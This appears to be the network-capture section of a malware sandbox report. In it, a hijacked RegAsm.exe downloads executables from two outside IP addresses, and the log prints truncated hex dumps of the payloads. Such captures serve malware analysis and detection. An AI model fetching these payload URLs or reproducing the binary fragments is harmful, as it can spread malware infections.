00 00 00 00 00 00 00 d0 dc 00 5c fa 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PEL4`\|@@VU@L\@V.text(`` `.rdata,p`p`@@.dataw@ @.idataL2@.reloc\8@B.symtab4B.rsrc6@@

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49735	46.29.235.52	80	7536	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
Sep 6, 2024 08:17:04.471769094 CEST	203	OUT	HEAD /vjgg.exe#space HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36 Host: 46.29.235.52 Cache-Control: no-cache
Sep 6, 2024 08:17:05.093399048 CEST	258	IN	HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Fri, 06 Sep 2024 06:17:05 GMT Content-Type: application/octet-stream Content-Length: 301608 Last-Modified: Thu, 05 Sep 2024 22:53:24 GMT Connection: keep-alive ETag: "66da3664-49a28" Accept-Ranges: bytes
Sep 6, 2024 08:17:05.101893902 CEST	202	OUT	GET /vjgg.exe#space HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36 Host: 46.29.235.52 Cache-Control: no-cache
Sep 6, 2024 08:17:05.283955097 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Fri, 06 Sep 2024 06:17:05 GMT Content-Type: application/octet-stream Content-Length: 301608 Last-Modified: Thu, 05 Sep 2024 22:53:24 GMT Connection: keep-alive ETag: "66da3664-49a28" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 e9 35 da 66 00 00 00 00 00 00 00 00 e0 00 0e 01 0b 01 0b 00 00 68 04 00 00 0a 00 00 00 00 00 00 de 86 04 00 00 20 00 00 00 a0 04 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 e0 04 00 00 02 00 00 00 00 00 00 03 00 60 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 0f 00 00 00 00 00 00 00 00 00 00 00 90 86 04 00 4b 00 00 00 00 a0 04 00 14 06 00 00 00 00 00 00 00 00 00 00 00 74 04 00 28 26 00 00 00 c0 04 00 0c 00 00 00 4c 86 04 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PEL5fh @ `Kt(&L H.textf h `.rsrcj@@.relocr@BH(&=0]+(aG0~:K( s((( ?rpsz6+(Vb(N+(xD((+(2(%( $%(j+((g(((04+(h8o(Xo?(0K 8( &S! b4 ni -a
Sep 6, 2024 08:17:05.284004927 CEST	1236	IN	Data Raw: 92 44 61 1e 13 09 20 30 a6 31 5d 13 0a 20 b5 df 6a 74 13 0b 20 e4 9e b8 7b 13 0c 20 28 0f ea 10 13 0d 20 1f ed fa 44 13 0e 20 4a 56 b0 59 13 0f 20 64 60 f4 39 13 10 20 ab b0 cf 20 13 11 11 05 11 10 5c 13 07 11 0f 11 0a 59 13 09 11 04 11 04 59 13 Data Ascii: Da 01] jt { ( D JVY d`9 \YY\AZjn<jnYmnjZmnj?\i]X ?8$XX ]X ?
Sep 6, 2024 08:17:05.284018040 CEST	1236	IN	Data Raw: 00 00 00 00 00 00 02 00 00 00 36 00 00 00 14 00 00 00 13 00 00 00 16 00 00 00 19 00 00 00 2d 00 00 00 11 00 00 00 0a 00 00 00 05 00 00 00 02 00 00 00 01 00 00 00 03 00 00 00 0c 00 00 00 02 00 00 00 02 00 00 00 02 00 00 00 0b 00 00 00 00 00 64 02 Data Ascii: 6-d AFMFTF\z 8R m Cz!F'zF<FF<F
Sep 6, 2024 08:17:05.284029961 CEST	1236	IN	Data Raw: e8 05 00 00 02 00 e8 05 00 00 01 00 88 08 00 00 01 00 88 08 00 00 02 00 b1 08 00 00 03 00 ba 08 00 00 01 00 cb 08 09 00 3b 00 1e 00 29 00 3b 00 42 00 31 00 3b 00 1e 00 39 00 3b 00 1e 00 41 00 3b 00 1e 00 49 00 3b 00 1e 00 51 00 3b 00 1e 00 59 00 Data Ascii: ;);B1;9;A;I;Q;Y;a;i;q;y;;O;^;BNt;yVes;;Bk9;B9&8
Sep 6, 2024 08:17:05.284079075 CEST	896	IN	Data Raw: 74 65 6d 2e 44 69 61 67 6e 6f 73 74 69 63 73 00 44 65 62 75 67 67 69 6e 67 4d 6f 64 65 73 00 43 6f 6d 70 69 6c 61 74 69 6f 6e 52 65 6c 61 78 61 74 69 6f 6e 73 41 74 74 72 69 62 75 74 65 00 49 6e 74 33 32 00 53 75 70 70 72 65 73 73 49 6c 64 61 73 Data Ascii: tem.DiagnosticsDebuggingModesCompilationRelaxationsAttributeInt32SuppressIldasmAttributef2fa1d10-3b4a-4f2c-b9d6-31f613973923AVP.exe<Module>XHSLpOvEA6VNIbd7j9pACiWdfWovWBL8thKyObjectContentJoinerSixttwjV893DMYDddeCZ0jBKTETeICBRTLf
Sep 6, 2024 08:17:05.284094095 CEST	1236	IN	Data Raw: 6f 6e 00 67 65 74 5f 44 61 79 73 00 4d 61 74 68 00 53 69 67 6e 00 45 78 63 65 70 74 69 6f 6e 00 2e 63 63 74 6f 72 00 6b 4c 6b 74 32 50 56 50 66 00 42 79 74 65 00 56 47 53 64 73 6f 49 4e 73 00 52 75 6e 74 69 6d 65 48 65 6c 70 65 72 73 00 49 6e 69 Data Ascii: onget_DaysMathSignException.cctorkLkt2PVPfByteVGSdsoINsRuntimeHelpersInitializeArrayArrayRuntimeFieldHandlestrSaBm2iRq5 Charget_CharsConsoleWriteget_LengthWriteLinerFVuGiXldjjqErRfogBZX1CZDaOFreeConsolekernel32.dllwB
Sep 6, 2024 08:17:05.284111977 CEST	1236	IN	Data Raw: 31 43 32 42 30 44 41 34 37 32 45 35 38 34 43 38 45 33 43 38 46 38 37 35 42 39 41 32 34 32 38 30 34 33 35 44 34 32 38 33 36 41 37 37 42 31 39 46 35 41 38 43 31 38 00 43 36 31 42 31 39 34 31 43 46 37 35 36 45 42 37 35 35 31 46 37 43 36 36 31 37 34 Data Ascii: 1C2B0DA472E584C8E3C8F875B9A24280435D42836A77B19F5A8C18C61B1941CF756EB7551F7C661743802362728B785ADC22E860D269713DFB01A6D5B7247C497788CF0031CEB06E3DF77A45FEF59F1E49633DC7159816D64759B5CompilerGeneratedAttributeAVP.g.resourcesaR3nbf8dQp2feLm
Sep 6, 2024 08:17:05.284130096 CEST	1236	IN	Data Raw: 02 01 1c 18 04 20 01 01 1c 0a 20 03 12 80 c9 1c 12 80 cd 1c 06 20 01 01 12 80 c9 03 06 11 48 03 06 11 44 03 06 11 50 03 06 11 4c 03 06 11 38 03 06 11 3c 03 06 11 40 00 00 00 b4 00 00 00 ce ca ef be 01 00 00 00 91 00 00 00 6c 53 79 73 74 65 6d 2e Data Ascii: HDPL8<@lSystem.Resources.ResourceReader, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089#System.Resources.RuntimeResourceSetPADPADP,
Sep 6, 2024 08:17:05.284142017 CEST	672	IN	Data Raw: 00 64 00 53 00 69 00 7a 00 65 00 44 18 00 00 20 24 00 74 00 68 00 69 00 73 00 2e 00 54 00 72 00 61 00 79 00 48 00 65 00 69 00 67 00 68 00 74 00 e8 18 00 00 26 70 00 72 00 6f 00 67 00 72 00 65 00 73 00 73 00 42 00 61 00 72 00 31 00 2e 00 4c 00 6f Data Ascii: dSizeD $this.TrayHeight&progressBar1.Locked@QSystem.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3aSystem.Drawing.IconIconData
Sep 6, 2024 08:17:05.284567118 CEST	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Sep 6, 2024 08:17:05.284576893 CEST	224	IN	Data Raw: 03 03 03 03 03 03 03 03 03 03 02 01 00 01 02 01 03 03 03 03 03 03 03 03 03 03 03 03 03 03 03 03 03 03 03 03 03 03 03 03 03 03 02 01 00 01 02 01 03 03 03 03 03 03 03 03 03 03 03 03 03 03 03 03 03 03 03 03 03 03 03 03 03 03 02 01 00 01 02 01 03 03 Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49736	46.29.235.52	80	7536	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
Sep 6, 2024 08:17:04.474939108 CEST	203	OUT	HEAD /sgnr.exe#space HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36 Host: 46.29.235.52 Cache-Control: no-cache
Sep 6, 2024 08:17:05.115458965 CEST	258	IN	HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Fri, 06 Sep 2024 06:17:05 GMT Content-Type: application/octet-stream Content-Length: 222248 Last-Modified: Thu, 05 Sep 2024 22:29:59 GMT Connection: keep-alive ETag: "66da30e7-36428" Accept-Ranges: bytes
Sep 6, 2024 08:17:05.115905046 CEST	202	OUT	GET /sgnr.exe#space HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36 Host: 46.29.235.52 Cache-Control: no-cache
Sep 6, 2024 08:17:05.302035093 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Fri, 06 Sep 2024 06:17:05 GMT Content-Type: application/octet-stream Content-Length: 222248 Last-Modified: Thu, 05 Sep 2024 22:29:59 GMT Connection: keep-alive ETag: "66da30e7-36428" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 1b 30 da 66 00 00 00 00 00 00 00 00 e0 00 0e 01 0b 01 0b 00 00 32 03 00 00 0a 00 00 00 00 00 00 de 50 03 00 00 20 00 00 00 60 03 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 a0 03 00 00 02 00 00 00 00 00 00 03 00 60 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 0f 00 00 00 00 00 00 00 00 00 00 00 90 50 03 00 4b 00 00 00 00 60 03 00 14 06 00 00 00 00 00 00 00 00 00 00 00 3e 03 00 28 26 00 00 00 80 03 00 0c 00 00 00 4c 50 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PEL0f2P `@ `PK`>(&LP H.text0 2 `.rsrc`4@@.reloc<@BPH(&=0]+(P]~:K( s((( ?rpsz6+(33(N+(i#R((+(g(%( %(j+(F7S(((04+(BY8o(Xo?(0K 8( &S! b4 ni -a
Sep 6, 2024 08:17:05.302053928 CEST	224	IN	Data Raw: 92 44 61 1e 13 09 20 30 a6 31 5d 13 0a 20 b5 df 6a 74 13 0b 20 e4 9e b8 7b 13 0c 20 28 0f ea 10 13 0d 20 1f ed fa 44 13 0e 20 4a 56 b0 59 13 0f 20 64 60 f4 39 13 10 20 ab b0 cf 20 13 11 11 05 11 10 5c 13 07 11 0f 11 0a 59 13 09 11 04 11 04 59 13 Data Ascii: Da 01] jt { ( D JVY d`9 \YY\AZjn<jnYmnjZmnj?\i]X ?8$XX ]X
Sep 6, 2024 08:17:05.302064896 CEST	1236	IN	Data Raw: 0c 08 20 00 01 00 00 3f d1 ff ff ff 16 0c 16 0d 16 13 13 38 fe 00 00 00 20 99 93 02 64 13 14 20 2c 96 dd 39 13 15 20 e0 e0 02 7c 13 16 20 ad df bd 32 13 17 20 ee e9 28 79 13 18 20 3c 31 69 3b 13 19 20 e2 b4 3a 03 13 1a 11 19 6e 11 14 6a 5a 69 13 Data Ascii: ?8 d ,9 \| 2 (y <1i; :njZijnZmnjainjaiX ]X ]X ]soorpD0o( rp51o( o!
Sep 6, 2024 08:17:05.302125931 CEST	1236	IN	Data Raw: 06 00 3c 03 46 00 06 00 ee 03 46 00 06 00 3c 05 46 00 06 00 45 05 46 00 06 00 6e 05 46 00 06 00 78 05 46 00 06 00 93 05 46 00 06 00 a2 05 7a 00 06 00 c1 05 46 00 06 00 c7 05 46 00 06 00 ea 05 46 00 06 00 f9 05 46 00 06 00 5d 06 46 00 06 00 64 06 Data Ascii: <FF<FEFnFxFFzFFFF]FdFFF F F?F^ zFFFzluUU
Sep 6, 2024 08:17:05.302136898 CEST	448	IN	Data Raw: 39 01 0b 07 17 02 0c 00 13 07 1c 02 d9 00 26 07 38 02 09 01 12 06 3c 02 41 01 c0 07 68 02 49 01 cc 07 6f 02 61 01 e1 07 89 01 41 01 f3 07 76 02 71 01 15 08 7d 02 51 01 24 08 89 02 49 01 2d 08 8f 02 49 01 51 08 98 02 81 01 67 08 9e 02 a1 01 3b 00 Data Ascii: 9&8<AhIoaAvq}Q$I-IQg;B.[.S.K.c9.{c.sU.kF.C.F.#..#i.;.3.+kckc
Sep 6, 2024 08:17:05.302171946 CEST	1236	IN	Data Raw: ff ff 00 00 00 00 15 00 32 00 00 00 ff ff 00 00 00 00 01 00 00 00 0a 0b 00 00 b8 00 00 00 01 00 00 00 1a 0b 00 00 06 00 05 00 07 00 05 00 08 00 05 00 0b 00 0a 00 0e 00 0d 00 0f 00 0d 00 10 00 0d 00 11 00 0d 00 12 00 0d 00 13 00 0d 00 14 00 0d 00 Data Ascii: 2AVPAssemblyCopyrightAttributeSystem.Reflectionmscorlib.ctorVoidSystemStringBooleanRuntimeCompatibilityAttributeSystem.Runtime.CompilerServicesAssembl
Sep 6, 2024 08:17:05.302182913 CEST	1236	IN	Data Raw: 7a 65 3d 31 38 00 5f 5f 53 74 61 74 69 63 41 72 72 61 79 49 6e 69 74 54 79 70 65 53 69 7a 65 3d 33 30 00 5f 5f 53 74 61 74 69 63 41 72 72 61 79 49 6e 69 74 54 79 70 65 53 69 7a 65 3d 33 32 00 5f 5f 53 74 61 74 69 63 41 72 72 61 79 49 6e 69 74 54 Data Ascii: ze=18__StaticArrayInitTypeSize=30__StaticArrayInitTypeSize=32__StaticArrayInitTypeSize=40__StaticArrayInitTypeSize=64__StaticArrayInitTypeSize=256f8DCCE12FAD13615m8DCCE12FAD13615TimeSpanDateTimeget_Nowop_Subtractionget_DaysMathSi
Sep 6, 2024 08:17:05.302194118 CEST	1236	IN	Data Raw: 39 41 32 39 38 30 39 35 34 32 45 41 33 32 34 41 37 42 00 36 32 45 36 46 31 33 42 35 33 44 36 37 46 44 44 37 38 30 45 32 30 44 38 39 41 36 45 38 45 45 35 30 33 42 31 39 37 41 43 31 36 41 43 33 46 31 44 32 35 37 31 43 31 34 37 46 44 44 33 32 34 43 Data Ascii: 9A29809542EA324A7B62E6F13B53D67FDD780E20D89A6E8EE503B197AC16AC3F1D2571C147FDD324C97F535673D836D3D77A97DB03EB3D71EA780F44372F5AEBECEBEDD696AAEB837897E613E5A3A47DEC76B7E50D47644B35EA4322F00D594D80D2F1C1F3644F8A4AC356AFF1A01C2B0DA472E584C8E3C
Sep 6, 2024 08:17:05.302213907 CEST	1236	IN	Data Raw: 91 15 12 80 95 01 08 07 00 02 01 1d 05 1d 05 29 07 20 1d 05 1d 05 08 08 08 09 09 08 09 09 09 09 08 09 09 09 09 09 05 08 08 09 09 09 08 09 08 05 08 15 12 80 99 01 08 08 08 04 00 01 05 08 06 15 12 80 99 01 08 05 20 01 01 13 00 05 20 02 0e 03 03 04 Data Ascii: ) m
Sep 6, 2024 08:17:05.302226067 CEST	1236	IN	Data Raw: 00 74 00 68 00 69 00 73 00 2e 00 49 00 63 00 6f 00 6e 00 04 00 00 00 18 24 00 74 00 68 00 69 00 73 00 2e 00 4c 00 6f 00 63 00 6b 00 65 00 64 00 c3 09 00 00 1c 24 00 74 00 68 00 69 00 73 00 2e 00 44 00 72 00 61 00 77 00 47 00 72 00 69 00 64 00 c5 Data Ascii: this.Icon$this.Locked$this.DrawGrid,progressBar1.Modifiers"$this.Localizabled$this.Languagef$this.GridSizeD $t
Sep 6, 2024 08:17:05.302895069 CEST	552	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49737	147.45.44.104	80	7536	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
Sep 6, 2024 08:17:04.478478909 CEST	221	OUT	HEAD /yuop/66d897ad1752a_File.exe#xin HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36 Host: 147.45.44.104 Cache-Control: no-cache
Sep 6, 2024 08:17:05.099900961 CEST	309	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 06 Sep 2024 06:17:05 GMT Content-Type: application/octet-stream Content-Length: 513536 Last-Modified: Wed, 04 Sep 2024 17:23:57 GMT Connection: keep-alive Keep-Alive: timeout=120 ETag: "66d897ad-7d600" X-Content-Type-Options: nosniff Accept-Ranges: bytes
Sep 6, 2024 08:17:05.101667881 CEST	220	OUT	HEAD /malesa/66d1b7f7f3765_Front.exe HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36 Host: 147.45.44.104 Cache-Control: no-cache
Sep 6, 2024 08:17:05.284233093 CEST	312	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 06 Sep 2024 06:17:05 GMT Content-Type: application/octet-stream Content-Length: 14748160 Last-Modified: Fri, 30 Aug 2024 12:15:51 GMT Connection: keep-alive Keep-Alive: timeout=120 ETag: "66d1b7f7-e10a00" X-Content-Type-Options: nosniff Accept-Ranges: bytes
Sep 6, 2024 08:17:05.284451008 CEST	228	OUT	HEAD /revada/66d98aa7bea3e_newPrime.exe#real HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36 Host: 147.45.44.104 Cache-Control: no-cache
Sep 6, 2024 08:17:05.467861891 CEST	311	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 06 Sep 2024 06:17:05 GMT Content-Type: application/octet-stream Content-Length: 3607496 Last-Modified: Thu, 05 Sep 2024 10:40:39 GMT Connection: keep-alive Keep-Alive: timeout=120 ETag: "66d98aa7-370bc8" X-Content-Type-Options: nosniff Accept-Ranges: bytes
Sep 6, 2024 08:17:05.468080044 CEST	218	OUT	GET /revada/66c6fcb30b9dd_123p.exe HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36 Host: 147.45.44.104 Cache-Control: no-cache
Sep 6, 2024 08:17:05.651149035 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 06 Sep 2024 06:17:05 GMT Content-Type: application/octet-stream Content-Length: 10902016 Last-Modified: Thu, 22 Aug 2024 08:54:11 GMT Connection: keep-alive Keep-Alive: timeout=120 ETag: "66c6fcb3-a65a00" X-Content-Type-Options: nosniff Accept-Ranges: bytes Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 64 86 0a 00 30 fc c6 66 00 00 00 00 00 00 00 00 f0 00 23 00 0b 02 0e 00 00 82 00 00 00 06 cd 00 00 00 00 00 6f 09 82 01 00 10 00 00 00 00 00 40 01 00 00 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 90 99 01 00 04 00 00 00 00 00 00 02 00 20 81 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 f8 ef 81 01 3c 00 00 00 00 80 96 01 d0 04 03 00 40 53 96 01 60 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 0e 81 01 28 00 00 00 00 52 [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEd0f#o@ <@S`*P(R8 .text `.rdata @@.data@.pdata@@.00cfg@@.tls@.text0:( `.text1X @.text2M0N`h.rsrcT@@
Sep 6, 2024 08:17:05.651196003 CEST	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: f6z
Sep 6, 2024 08:17:05.651207924 CEST	1236	IN	Data Raw: e5 ce fa 25 61 d7 85 c3 12 69 8d 21 0e 2f 61 5a 95 e0 5f 4e cc d8 f9 3a b7 27 da 87 f5 4a 85 88 61 60 fe 48 c8 a2 40 d8 51 92 85 64 fe e3 63 0e 20 eb 43 ba bc 56 5e 61 9e 66 e3 54 0e df e0 a9 0d 5d 0f 27 2b 51 26 fe 1d a7 c0 41 bc 94 b1 5f 4e 6c Data Ascii: %ai!/aZ_N:'Ja`H@Qdc CV^afT]'+Q&A_Nljf"X@zN&aO%ps3q_Nl5p7?6iB~+@I8cY(U_NL=R4/}.tc]lZJI42l__Nl})z
Sep 6, 2024 08:17:05.651294947 CEST	672	IN	Data Raw: 31 f7 de 79 c4 5a c3 42 38 c0 36 fd 0a 7f a3 f5 18 3c c4 5e 17 23 e6 49 88 e8 d3 1f 9c c9 db a4 52 fc 12 fd 36 08 0e 67 17 e4 ed 5e a3 28 4a 04 bb 58 de 48 f9 43 69 bc d3 ce c8 71 17 3c a2 85 3b 88 f1 a4 5e 14 ca 5a 83 ff 75 3f 2a 9e bc e8 69 73 Data Ascii: 1yZB86<^#IR6g^(JXHCiq<;^Zu?*is@7Pw~!YO\|@!Gka&Ay0\hSq,>wJ_iHl=o0BXZ\<R [ zI"@je`$
Sep 6, 2024 08:17:05.651309013 CEST	1236	IN	Data Raw: 93 f7 b7 98 f8 e3 8b 22 0c 9d b7 45 4c 65 e1 71 f9 e5 b2 6b c5 5a 8e 6c d1 3f 18 3a 19 f1 04 b1 ac 29 e0 ff ee 08 82 76 bd ed 20 2a 9c fe 62 04 33 95 ac 65 9f ff ee f4 4e 42 8c aa c8 f4 0c 3f b9 c8 6d 71 b0 ef b2 3f a0 cc a5 ac 1b a5 5f 63 bb 49 Data Ascii: "ELeqkZl?:)v b3eNB?mq?_cI%3Sjlwm6Qt0,}H$j37XI4V/%Y42#8V4Y{6(}bsgqc+ "eC#&$VT*}0V7@n@/ 1=LG^
Sep 6, 2024 08:17:05.651319981 CEST	1236	IN	Data Raw: 61 84 20 6f 3f e1 a1 cc 13 5d 86 11 e0 32 d9 74 5c 09 a1 f8 58 01 a7 c5 80 8b a2 f3 8f 83 a9 13 ad af 17 90 d0 27 94 7a 53 5c 3c 24 af 26 3f f4 40 d0 d7 fe 3f f4 40 50 ac 2e 3f f4 40 e4 94 0e 3f f4 40 fc 34 26 3f f4 40 f4 6c 56 3f f4 40 90 87 9e Data Ascii: a o?]2t\X'zS\<$&?@?@P.?@?@4&?@lV?@nR9`j#0=ZAR){N7*0.fM+k>\|6R(JOa//7(XcN!{7$li~!scR4ks<Jz1eL2
Sep 6, 2024 08:17:05.651330948 CEST	1236	IN	Data Raw: eb 1f c3 47 bc d8 6b 4e 1e ac 9a 2b d2 c5 07 43 25 69 c3 cf 00 ca 28 f2 22 df 46 93 82 08 3f 13 95 01 11 f8 6a 18 e4 4e 40 be 77 71 a0 aa db bf 1c be de 46 93 02 ac fe fe 09 bb 55 e9 a6 61 d5 b9 94 d3 e4 39 9c 92 50 18 20 64 8f 46 93 22 91 dd ee Data Ascii: GkN+C%i("F?jN@wqFUa9P dF"&#LY:F"l{<dBF6Zv+huY&l*'-gzsH?u?TA~]rFJN`cOKQ"8Q
Sep 6, 2024 08:17:05.651344061 CEST	1236	IN	Data Raw: 3a c4 07 bf 3a 8e 82 c4 07 bf d3 66 f6 88 e5 b2 79 dd 3a c5 d2 ca 4a 39 6a e5 ea d9 6d 57 d0 b2 66 df af b6 f4 89 b7 b8 ef 02 9c 87 98 29 3a 1f 34 79 99 ce 25 58 a6 3a 8e 48 e6 5d b5 1a fb 37 7b f0 6e 3b eb 30 f2 1f 06 36 01 00 00 00 ae 41 9c b5 Data Ascii: ::fy:J9jmWf):4y%X:H]7{n;06A[!#KUgnW7:N}a{&[2:DNCsye@<KINa.80!;kImf,$t<g*dBZ5l%/==K7u[
Sep 6, 2024 08:17:05.651355028 CEST	328	IN	Data Raw: 79 77 f1 70 24 6f f9 2f fc 1c b4 9b 51 d0 52 b8 24 b6 ea 76 a2 63 69 14 e4 7c 1c 39 5f 7d 79 73 72 23 59 a9 4a e8 67 8d 39 fb 54 9a 94 37 15 7d 3d 6a 80 77 9d ac 56 0e 23 c0 eb a7 c0 c4 23 e6 ec 95 1f c9 c8 98 00 45 9e ea 7a 4e 3c db 2e 2c 81 86 Data Ascii: ywp$o/QR$vci\|9_}ysr#YJg9T7}=jwV##EzN<.,+[#`YI]c0wCtkzs&T@WRG\y;;5{Y>+[#6BLtvEorH^wdfttY2'L%ho?e3I-
Sep 6, 2024 08:17:05.651860952 CEST	1236	IN	Data Raw: 68 b9 8a 0a d1 60 55 a1 fe 24 07 60 0a 14 f1 c8 66 16 60 a3 2e 7e bd d6 e5 9d 4a d8 87 20 17 07 17 b9 2a 4c d3 02 06 53 2e 29 45 79 7f 3e be 47 84 5c fd f3 61 47 0f 08 33 a7 2c 3d 42 5c cf 82 b1 83 6b 3b 4f da f9 66 21 38 35 d2 e3 27 29 44 39 f8 Data Ascii: h`U$`f`.~J *LS.)Ey>G\aG3,=B\k;Of!85')D9VL=W`=>w+=+da2Z!K(Vszp&U[d2^PHv8UswO8SuRzZJCS\jp{j
Sep 6, 2024 08:17:05.651880026 CEST	1236	IN	Data Raw: a4 96 a5 3b 81 8b 15 9a 7d ca 17 79 97 53 a2 c2 f0 74 5b 56 53 97 a4 8a 95 7f b2 fa 61 f6 a2 bd 81 cd 9c 7d dc 9b 7d ca 77 b6 44 15 76 12 25 66 f9 38 74 71 02 db e8 e7 11 51 69 cb b4 55 54 98 cc 6f 98 f7 8b 7f db 95 26 11 6d 76 1d a2 7e db 1f 5b Data Ascii: ;}ySt[VSa}}wDv%f8tqQiUTo&mv~[FoV4nsc$)5Kp`hbv$.BgX{fg.\r}wnlBAD xK\|%7xs2or&K=%/\RCoCi9\<U@U@,XU@$U@\|bU
